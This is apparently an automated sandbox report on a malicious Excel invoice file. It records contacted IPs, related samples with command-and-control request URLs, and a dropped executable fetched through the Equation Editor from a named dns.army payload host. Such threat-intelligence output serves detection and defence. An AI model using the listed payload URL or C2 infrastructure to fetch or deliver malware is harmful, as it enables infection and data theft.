http://search.orange.co.uk/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.iask.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tesco.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://cgi.search.biglobe.ne.jp/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://search.seznam.cz/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://suche.freenet.de/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.interpark.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.ipop.co.kr/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://investor.msn.com/	explorer.exe, 00000006.00000000.2180707596.0000000003C40000.00000002.00000001.sdmp	false		high
http://search.espn.go.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.myspace.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.centrum.cz/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://p.zhongsou.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://service2.bfast.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.%s.comPA	explorer.exe, 00000006.00000000.2169916528.0000000001C70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://ariadna.elmundo.es/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
44.240.171.172	unknown	United States	16509	AMAZON-02US	false
208.91.197.91	unknown	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
154.196.151.25	unknown	Seychelles	139646	HKMTC-AS-APHONGKONGMegalayerTechnologyCoLimitedHK	true
34.102.136.180	unknown	United States	15169	GOOGLEUS	true
166.62.29.42	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
103.141.138.125	unknown	Viet Nam	135905	VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN	true
192.185.35.76	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	344804
Start date:	27.01.2021
Start time:	07:28:38
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0113 INV_PAK.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@9/6@8/7
EGA Information:	Failed
HDC Information:	Successful, ratio: 20.1% (good quality ratio 19.2%) Quality average: 70.7% Quality standard deviation: 28.8%
HCA Information:	Successful, ratio: 96% Number of executed functions: 88 Number of non-executed functions: 46
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe

Simulations

Behavior and APIs

Time	Type	Description
07:30:12	API Interceptor	76x Sleep call for process: EQNEDT32.EXE modified
07:30:16	API Interceptor	103x Sleep call for process: vbc.exe modified
07:30:42	API Interceptor	230x Sleep call for process: help.exe modified
07:31:19	API Interceptor	1x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
44.240.171.172	1D1PBttduH.exe	Get hash	malicious	Browse	www.calusaptamiami.com/gqx2/?Txl=NDTQX7mfpMrEPR6pWlM56Hgg+STWZd9aU5nak/paKA5FRQwOyK5PIG5qYt4TmNSCcNYYtyIQhA==&vP=lf2X
208.91.197.91	v07PSzmSp9.exe	Get hash	malicious	Browse	www.h-v-biz.com/c8so/?3ff87=hsMrMOU643mST3cG5BegBqlrTsujOywA7VDeUpBh8kj+UXdiOmAX38t6MDP4VKlvgbVr&uZWD=XPmPajepJ2gdvnZ
	Request.xlsx	Get hash	malicious	Browse	www.h-v-biz.com/c8so/?Rf=hsMrMOU/4wmWTnQK7BegBqlrTsujOywA7VbOIqdg4Ej/UmxkJ2Rbh4V4PlD+e7xk19hcsA==&LDHHp=z4D80PDX
	KuPBIsrqbO.exe	Get hash	malicious	Browse	www.athleteshive.com/gqx2/?MnZ=kdwz49ReWeybRPZJolgC7QJtxuB/meiNTkYp+nGTjDB+7BQCfNz2YW0PX4LStuRlOVbvsJZwJw==&J4n4=xPGHQlaxx
	1D1PBttduH.exe	Get hash	malicious	Browse	www.athleteshive.com/gqx2/?vP=lf2X&Txl=kdwz49ReWeybRPZJolgC7QJtxuB/meiNTkYp+nGTjDB+7BQCfNz2YW0PX4LryfxmADHosJZ3aA==
	notice of arrival.xlsx	Get hash	malicious	Browse	www.athleteshive.com/gqx2/?dns0y=kdwz49RbWZyfRfVFqlgC7QJtxuB/meiNTkA5ikaSnjB/7w8EYdi6OSMNUeLU1PJtCjvO1w==&rF=Kxox
	arrival_notice.xlsx	Get hash	malicious	Browse	www.athleteshive.com/gqx2/?BDKTpBQ=kdwz49RbWZyfRfVFqlgC7QJtxuB/meiNTkA5ikaSnjB/7w8EYdi6OSMNUeLU1PJtCjvO1w==&_L34=kt80IjmPWrI
	JqldwsTQaf.exe	Get hash	malicious	Browse	www.h-v-biz.com/c8so/?r8d=hsMrMOU643mST3cG5BegBqlrTsujOywA7VDeUpBh8kj+UXdiOmAX38t6MAvoar1X++8s&2d=ofadAP
	AOA4sx8Z7l.exe	Get hash	malicious	Browse	www.h-v-biz.com/c8so/?Wx=hsMrMOU643mST3cG5BegBqlrTsujOywA7VDeUpBh8kj+UXdiOmAX38t6MAvCFbFX680s&vB=lhr0E
	g2fUeYQ7Rh.exe	Get hash	malicious	Browse	www.hyderabadcycles.com/nki/?-Z1l=MFw41kzKaXe0hopkE9vEEVraD/kcxnmgAUtIUpSB+IabrAt7HF2XrmKaxnDoXw1KRrQr1sHF0Q==&5ju=UlSpo
	invoice.xlsx	Get hash	malicious	Browse	www.h-v-biz.com/c8so/?AFNDR=7n20cVCpbL7dqxQ&BBW=hsMrMOU/4wmWTnQK7BegBqlrTsujOywA7VbOIqdg4Ej/UmxkJ2Rbh4V4PlD+e7xk19hcsA==
	SecuriteInfo.com.Exploit.Rtf.Obfuscated.16.5396.rtf	Get hash	malicious	Browse	www.refrigerator-repair.site/th9/?MbCdXj=gLBQc6LAjgBelJzUDnA1ifjvVom90JtjeQeqtqykqwUqccCdrhzeXd5elic3mQ5wzJ3gZA==&1bL0=nN6tXVY0-tVP_b
	Quote.exe	Get hash	malicious	Browse	www.wertzdesign.com/0wdn/?Rl=YTcPK4th&M4sd6Lz8=2HMmMtqjuc6nZrnuEGhPzEdxvae1T2vatIozmsMTI7sg3WrZk08xAqAobd18yLb8isv8
	ORDER 172IKL0153094.exe	Get hash	malicious	Browse	www.wertzdesign.com/0wdn/?4h3=2HMmMtqjuc6nZrnuEGhPzEdxvae1T2vatIozmsMTI7sg3WrZk08xAqAobeZGxK3HhbOtEHtdyQ==&vR-TR=LJEtYNu
	sxNl6OeOPIJyE9q.exe	Get hash	malicious	Browse	www.ayngaranastro.com/zsh/?rZyXU8=sgb/rOlf1tKnXXoM/DPrHVMxTGIDzvb3kJ/Mqnd0YmVzk8g8LAL4juhSemC1lB2/VSph&Ezr0Av=apIHk6pX0pRXDj
	Order Specifications With Ref Breve#T0876B96.exe	Get hash	malicious	Browse	www.querooo.com/utau/?DXOX-=XosT01q8/wjUwz/8oUOqvspYdEVF+Eatn/VvLCmWpcYk6JBAkfaWyI4ZAHjubdWk2QpC&KtxD=ZR-DOT9pJ
	Breve-Tufvassons sp.o.o.o Company Profile And Bout Us.exe	Get hash	malicious	Browse	www.querooo.com/utau/?FZW42RP=XosT01q8/wjUwz/8oUOqvspYdEVF+Eatn/VvLCmWpcYk6JBAkfaWyI4ZAEP+HsKfxlATnT412Q==&Bb=hvLHMnt8_00
	Breve-Tufvassons sp.o.o Company Profile And Bout Us.exe	Get hash	malicious	Browse	www.querooo.com/utau/?Cb=XosT01q8/wjUwz/8oUOqvspYdEVF+Eatn/VvLCmWpcYk6JBAkfaWyI4ZAHjEEtmkyShC&5j=xrFP8nbPQjXLN2Q
	SWIFT_HSBC Bank.exe	Get hash	malicious	Browse	www.tudeladirecto.com/nt8e/?7nwltvxh=d5sTnujAaLwCHAV7Hkod4AGONRw1Ceya8p7QHyuAjU2hemaQC5CnvhOz2PxecLhIDM1S&org=3foxnfCXOnIhKD
	Order Specification Requirement With Ref. AMABINIF38535.exe	Get hash	malicious	Browse	www.querooo.com/utau/?2dZ8=XosT01q8/wjUwz/8oUOqvspYdEVF+Eatn/VvLCmWpcYk6JBAkfaWyI4ZAHjubdWk2QpC&p64=8prxehCX
	9qB3tPamJa.exe	Get hash	malicious	Browse	www.sotoki.com/cia6/?jFNl2N=bpRpCsMO2qDVShiOuD/b8wmJrZBgc2/kyAQwaLZZ5pMaG10zGD5FQ1ves+WOFEHgduiI&oX=_0Gxtp50WtBTh
34.102.136.180	PAYMENT LIST .xlsx	Get hash	malicious	Browse	www.kerifletcherrock.com/oean/?jvylC6k0=Opa2yxOMW+p6bOslAOO6h/1EkNB54ngFJAZHYsyvYxpw4UyGhwhjUO3aSMs8Sdr4Amozmg==&gnj80=CJBh7xO8zrtpcTq
	quote20210126.exe.exe	Get hash	malicious	Browse	www.ribbonredwhiteandblue.com/dei5/?TZkpkdJ=g0K5ifwFWV09n7i1NEiFZbu/6tutLBAV6sI0nEyaQ7OZPYqcNrOHgfWcWl8srePs8/mI&U4kp=NtxLpLUP-vTH68s
	SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Get hash	malicious	Browse	www.edu4go.com/bsl/?mt=meRO04KZ+tRueejEQ1mKApUC+xiZQAGZPTeO6WstMPZoEBgumINoRWRpGBFK3WkMjtLu&2d=hxlpdRkxCvtTgBzP
	PAYMENT.260121.xlsx	Get hash	malicious	Browse	www.worldwide-mt.com/kzd/
	bXFjrxjRlb.exe	Get hash	malicious	Browse	www.what3emoji.com/bf3/?pPX=m4Qmgz02ndzlkmzRdXbnUnIUoJvahqq5/3ILTCGwMTubC4gHDN74yJVcJDUGCd+LoHuKsTQ0JA==&W6=jnKpRl-xV
	xl2Ml2iNJe.exe	Get hash	malicious	Browse	www.ricardoinman.com/xle/?-ZnD=LjoXU6n8-&iBrlPD=43tORsMo6Gry83Td78nIWgxEplzIHXHZqBl7iQpQA31ZPQcRtwVYWDcsKQV/txd+LHV0DSgDXQ==
	v07PSzmSp9.exe	Get hash	malicious	Browse	www.jikzo.com/c8so/?3ff87=Bcwq9mo1SLdxGMzaDRBSbVH3gidTK8xbNEF8M/tGLQ2aKWcuDQCQFtxR7k1oF3yRZXKc&uZWD=XPmPajepJ2gdvnZ
	NEW ORDER.xlsx	Get hash	malicious	Browse	www.simplifiedvirtualsolutions.com/oean/?MdLxlt=mKgmb7I6yODGcWmnOnDfCd0CfDEQGPBdVeZhKsaKMoR3Qh4v4CLN6oxN3p9trG3799qCow==&gnU4Pf=yZPLGZXHl
	Inquiry_73834168_.xlsx	Get hash	malicious	Browse	www.kaiyuansu.pro/incn/?9r_PU=-ZQLEn&e2Jdlzf8=4y+UTKzAJ4dBlp/RYYS74WaP+qCjnKVRzK/jF/x906cXBmLcUo8gxmNUvdqUiR1QG2msPA==
	winlog(1).exe	Get hash	malicious	Browse	www.growingequity.fund/oean/?8pNhXv=yVML0zB0&u4XpH=VZAj6Grbo5w3dBd7w+9BSoe0Fg1VHX3dphJz9/egos9dVzX5qD6mqxE3tIZZ2ImCjS7epxmUBA==
	win32.exe	Get hash	malicious	Browse	www.findthatsmartphone.com/incn/?8pBP5p=/AA5bjKPiaWw22bzCdt7lqNbxAyyPpv3elVlM12b4Zuyr5w4xH0F6TIfefQNvJyZz9qG&L6Ah=2dSLFXghYtFd0
	1-26.exe	Get hash	malicious	Browse	www.catalogcardgames.net/bf3/?UXrxP8=0T3HW8l&URfXx=Sdh36sWiaQaHmuW5OuhNg2ZSKBobeXsq4DWTIDdmgtvI732RtscB8O3t4ssmBmGg4ghZ
	Request.xlsx	Get hash	malicious	Browse	www.cleverwares.com/c8so/?Rf=P253+QYRdhKTDdzjq4pa7Wp7svBpTNddHFol+cUWSKGzAXl94gLhBIvIcI/Xp4fU197lMA==&LDHHp=z4D80PDX
	INV_TMB_210567Y00.xlsx	Get hash	malicious	Browse	www.5050alberta.com/xle/?8pqhs=XuVPlIEgAAku+dXH+MR8cy20ZHkP0iJzlT7lKUj3PYBKa8v0bSmzSfHWFfmBCUSgIWFn2Q==&tDH=XRR8
	RFQ.xlsx	Get hash	malicious	Browse	www.blacknation.info/c8so/?pBU=HzuD_&gb24XB=6ATEh1s0NdZErsRPIUioXmvz20sSLCkN4f+QHjKAbluYenOJN9FSbPt8XJ2H+dMMf4Jp2Q==
	New Year Inquiry List.xlsx	Get hash	malicious	Browse	www.primeoneimplants.com/qjnt/?tB=TtdpPpppFvG&1bwhC=nh3Tl/oLs4HXZ5hiWyD3n36TA5+xQ+CwXb+KxfiJNOta6blp58Sj1H/LHtoCWuUTeWdwKg==
	RF-E93-STD-068 SUPPLIES.xlsx	Get hash	malicious	Browse	www.harperandchloe.com/xle/?5jFlkJJh=FNtvxHF14RtgzuhKSaLd0lIzxL3LkdKZj/Q/Opos8UfLtbug0tkzhu0XdD0TouZ6I/qGUQ==&LR-T=vBK0GdQp
	gPGTcEMoM1.exe	Get hash	malicious	Browse	www.ctfocbdwholesale.com/bw82/?W6=Rxta6xhtzzdBFDuy4SYKtO8XUaMinJcredo77YczPu8Lep1ecFiaWqXH8h2T5haNROfU&odeTY=cnxhAP6x
	bgJPIZIYby.exe	Get hash	malicious	Browse	www.engageautism.info/bw82/?GFND=n1L9MQk6NEQOasYlfxU4KXziLGivOllQbNtATfsC4RjAZctNbAJfQ2EIxV87fcKcU54A&Rlj=YVIX8Hyx
	vA0mtZ7JzJ.exe	Get hash	malicious	Browse	www.brainandbodystrengthcoach.com/csv8/?Mjklsrcx=4rzgp1jZc7l8Whg0IztLQnvubqNqMY/2oz5HEUeZ+SGIDqCjyjtIs6qqwwlb5soGHyjF&Hp0xlh=EVvxc8

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
mtk-lb-1470093426.us-west-2.elb.amazonaws.com	1D1PBttduH.exe	Get hash	malicious	Browse	44.240.171.172
mtk-lb-1470093426.us-west-2.elb.amazonaws.com	notice of arrival.xlsx	Get hash	malicious	Browse	35.162.176.29
www.athleteshive.com	KuPBIsrqbO.exe	Get hash	malicious	Browse	208.91.197.91
	1D1PBttduH.exe	Get hash	malicious	Browse	208.91.197.91
	notice of arrival.xlsx	Get hash	malicious	Browse	208.91.197.91
	arrival_notice.xlsx	Get hash	malicious	Browse	208.91.197.91
sndychnesqudusissnvx.dns.army	CI + PL.xlsx	Get hash	malicious	Browse	103.141.138.125
sndychnesqudusissnvx.dns.army	RFQ.xlsx	Get hash	malicious	Browse	103.141.138.125

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HKMTC-AS-APHONGKONGMegalayerTechnologyCoLimitedHK	Consignment Document PL&BL Draft.exe	Get hash	malicious	Browse	154.196.243.121
	z6qKV40n75.exe	Get hash	malicious	Browse	154.196.150.25
	XWW8KE7078.exe	Get hash	malicious	Browse	154.196.155.56
	Purchase Order 75MF3B84_Pdf.exe	Get hash	malicious	Browse	154.196.155.60
	PURCHASE ORDER_PDF.exe	Get hash	malicious	Browse	154.196.155.60
	CLxJeVvzMA.exe	Get hash	malicious	Browse	154.203.159.213
	uqAU5Vneod.exe	Get hash	malicious	Browse	154.203.159.213
	Quotation.exe	Get hash	malicious	Browse	154.196.230.121
	Mv Maersk Kleven V949E_pdf.exe	Get hash	malicious	Browse	154.196.153.54
	INV SF2910202.doc	Get hash	malicious	Browse	154.196.151.2
	New Additional Agreement.exe	Get hash	malicious	Browse	154.203.187.105
	Additional Agreement 2020-KYC.exe	Get hash	malicious	Browse	154.203.159.79
	Additional Agreement 2020-KYC.exe	Get hash	malicious	Browse	154.203.159.79
	DEWA PROJECT 12100317.exe	Get hash	malicious	Browse	154.203.159.79
	NOAH FORMBUK NEW_crypted.exe	Get hash	malicious	Browse	154.196.151.21
	arrival notice-ETA 10th-11,2020.exe	Get hash	malicious	Browse	154.196.151.21
	HPScan Payment 20.10.20.exe	Get hash	malicious	Browse	154.196.153.6
	CNR11. xlsx.exe	Get hash	malicious	Browse	154.203.159.197
AMAZON-02US	wno5UOP8TJ.exe	Get hash	malicious	Browse	52.211.215.209
	quote20210126.exe.exe	Get hash	malicious	Browse	3.140.151.209
	PAYMENT.xlsx	Get hash	malicious	Browse	34.251.154.69
	PAYMENT.xlsx	Get hash	malicious	Browse	34.249.208.250
	DHL eMailShip delivery Form - securedPDF.html	Get hash	malicious	Browse	52.218.216.224
	5Ur5p5e8r2.exe	Get hash	malicious	Browse	13.52.79.18
	The Mental Health Center.xlsx	Get hash	malicious	Browse	52.216.245.238
	Inquiry_73834168_.xlsx	Get hash	malicious	Browse	3.131.104.217
	Xy4f5rcxOm.dll	Get hash	malicious	Browse	54.64.30.175
	New Year Inquiry List.xlsx	Get hash	malicious	Browse	13.224.102.114
	gPGTcEMoM1.exe	Get hash	malicious	Browse	52.217.42.147
	bgJPIZIYby.exe	Get hash	malicious	Browse	52.217.42.147
	vA0mtZ7JzJ.exe	Get hash	malicious	Browse	99.83.185.45
	xSf	Get hash	malicious	Browse	44.240.76.51
	bin.sh	Get hash	malicious	Browse	3.110.190.131
	FileZilla_3.52.2_win64_sponsored-setup.exe	Get hash	malicious	Browse	143.204.94.23
	PAYMENT INFO.xlsx	Get hash	malicious	Browse	52.16.136.30
	PAYMENT INFO.xlsx	Get hash	malicious	Browse	52.214.73.151
	Tebling_Resortsac_FILE-HP38XM.htm	Get hash	malicious	Browse	3.128.122.199
	INC_Y5KPAYAWWU7.doc	Get hash	malicious	Browse	13.248.196.204
CONFLUENCE-NETWORK-INCVG	v07PSzmSp9.exe	Get hash	malicious	Browse	208.91.197.91
	win32.exe	Get hash	malicious	Browse	204.11.56.48
	Request.xlsx	Get hash	malicious	Browse	208.91.197.91
	mitbjisfe.js	Get hash	malicious	Browse	204.11.56.48
	documents_0084568546754.exe	Get hash	malicious	Browse	208.91.197.27
	D6mimHOcsr.exe	Get hash	malicious	Browse	208.91.197.27
	KTFvWHZDMe.exe	Get hash	malicious	Browse	208.91.197.27
	PO81105083.xlsx	Get hash	malicious	Browse	208.91.197.27
	tuMCqH36OF.exe	Get hash	malicious	Browse	208.91.197.27
	2021 DOCS.xlsx	Get hash	malicious	Browse	208.91.197.27
	SecuriteInfo.com.Trojan.PackedNET.509.28611.exe	Get hash	malicious	Browse	208.91.197.27
	Details...exe	Get hash	malicious	Browse	204.11.56.48
	KuPBIsrqbO.exe	Get hash	malicious	Browse	208.91.197.91
	Fdj5vhj87S.exe	Get hash	malicious	Browse	204.11.56.48
	_MVSEASEAL_RFQ_.xlsx	Get hash	malicious	Browse	209.99.64.33
	1D1PBttduH.exe	Get hash	malicious	Browse	208.91.197.91
	Statement Of Account.exe	Get hash	malicious	Browse	204.11.56.48
	yxYmHtT7uT.exe	Get hash	malicious	Browse	204.11.56.48
	notice of arrival.xlsx	Get hash	malicious	Browse	208.91.197.91
	SKM_C221200706052800.exe	Get hash	malicious	Browse	208.91.197.39

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	downloaded
Size (bytes):	913408
Entropy (8bit):	7.628923837789258
Encrypted:	false
SSDEEP:	12288:ccn9BTW0SInwr5acjYRX45X7sk3XUhRYTKSh4xi8FQiE/VwbN4+vtE+LtZ/NRMi5:nn9BTW0S5smX7RNhXFi0wqYTfV
MD5:	2B72BC4BA9645AF5482661C5D1D1C7F8
SHA1:	A32AE9352AB50A4576C8DCB8A1032A62AA235314
SHA-256:	B3291D1F731C8E7408BBAE7E36242E7223D24D7B3EF0FA2B7F07950BE8DD3462
SHA-512:	A83CD1E1091B80FD2868232C0FEC244C92F2A8626C92B21E1BF6F186DA616FAE5874609CE27C39A3F6AE70CCCE143C1E282FA78E2D21FBFB04B6693CD06FED7E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
IE Cache URL:	http://sndychnesqudusissnvx.dns.army/documengt/svchost.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`..............P.................. ... ....@.. .......................`............@.................................d...O.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H........C..$\...............b...........................................0............(....(..........(.....o..........................( ......(!......("......(#......($....N..(....op...(%....&..(&.....s'........s(........s)........s........s+............0...........~....o,....+...0...........~....o-....+...0...........~....o.....+...0...........~....o/....+...0...........~....o0....+..&..(1.......0..<........~.....(2.....,!r...p.....(3...o4...s5............~.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6885F643.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\717D30CA.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7BFBA2AD.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	653280
Entropy (8bit):	2.898620794957836
Encrypted:	false
SSDEEP:	3072:Z34UL0tS6WB0JOqFVY5QcARI/McGdAT9kRLFdtSyUu50yknG/qc+x:R4UcLe0JOqQQZR8MDdATCR3tS+jqcC
MD5:	ED1A38FF32F9806BA6BD58477BB8092C
SHA1:	5F18F8D28F565776C8B678EE0F63E00BF044394C
SHA-256:	7F1B7596D60F0825D6631764D5768B2697325A0667C78876B52A56C9F6F35BD1
SHA-512:	3440133B213E53A823493ACBACB682C0D414D4FBFD6BB17C236542028D5389F4F5ACB95F47D9CF845A7F2C521DFC48A1FDF8F882988CF22C64EEB5F9B6E23C23
Malicious:	false
Reputation:	low
Preview:	....l...........S................@...#.. EMF........(...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................I...c...%...........%...................................R...p................................@."C.a.l.i.b.r.i.....................................................'.4.'.......'...'..N.S..'...'.......'.\|.'..N.S..'...'. ....yxP..'...'. ............zxP............................................X...%...7...................{ .@................C.a.l.i.b.r.............$.'.X.....'...'..2qP..........'...'..{oP....(.'.....dv......%...........%...........%...........!.......................I...c..."...........%...........%...........%...........T...T..........................@.E.@T...........L...............I...c...P... ...6...F...$.......EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\Desktop\~$0113 INV_PAK.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	913408
Entropy (8bit):	7.628923837789258
Encrypted:	false
SSDEEP:	12288:ccn9BTW0SInwr5acjYRX45X7sk3XUhRYTKSh4xi8FQiE/VwbN4+vtE+LtZ/NRMi5:nn9BTW0S5smX7RNhXFi0wqYTfV
MD5:	2B72BC4BA9645AF5482661C5D1D1C7F8
SHA1:	A32AE9352AB50A4576C8DCB8A1032A62AA235314
SHA-256:	B3291D1F731C8E7408BBAE7E36242E7223D24D7B3EF0FA2B7F07950BE8DD3462
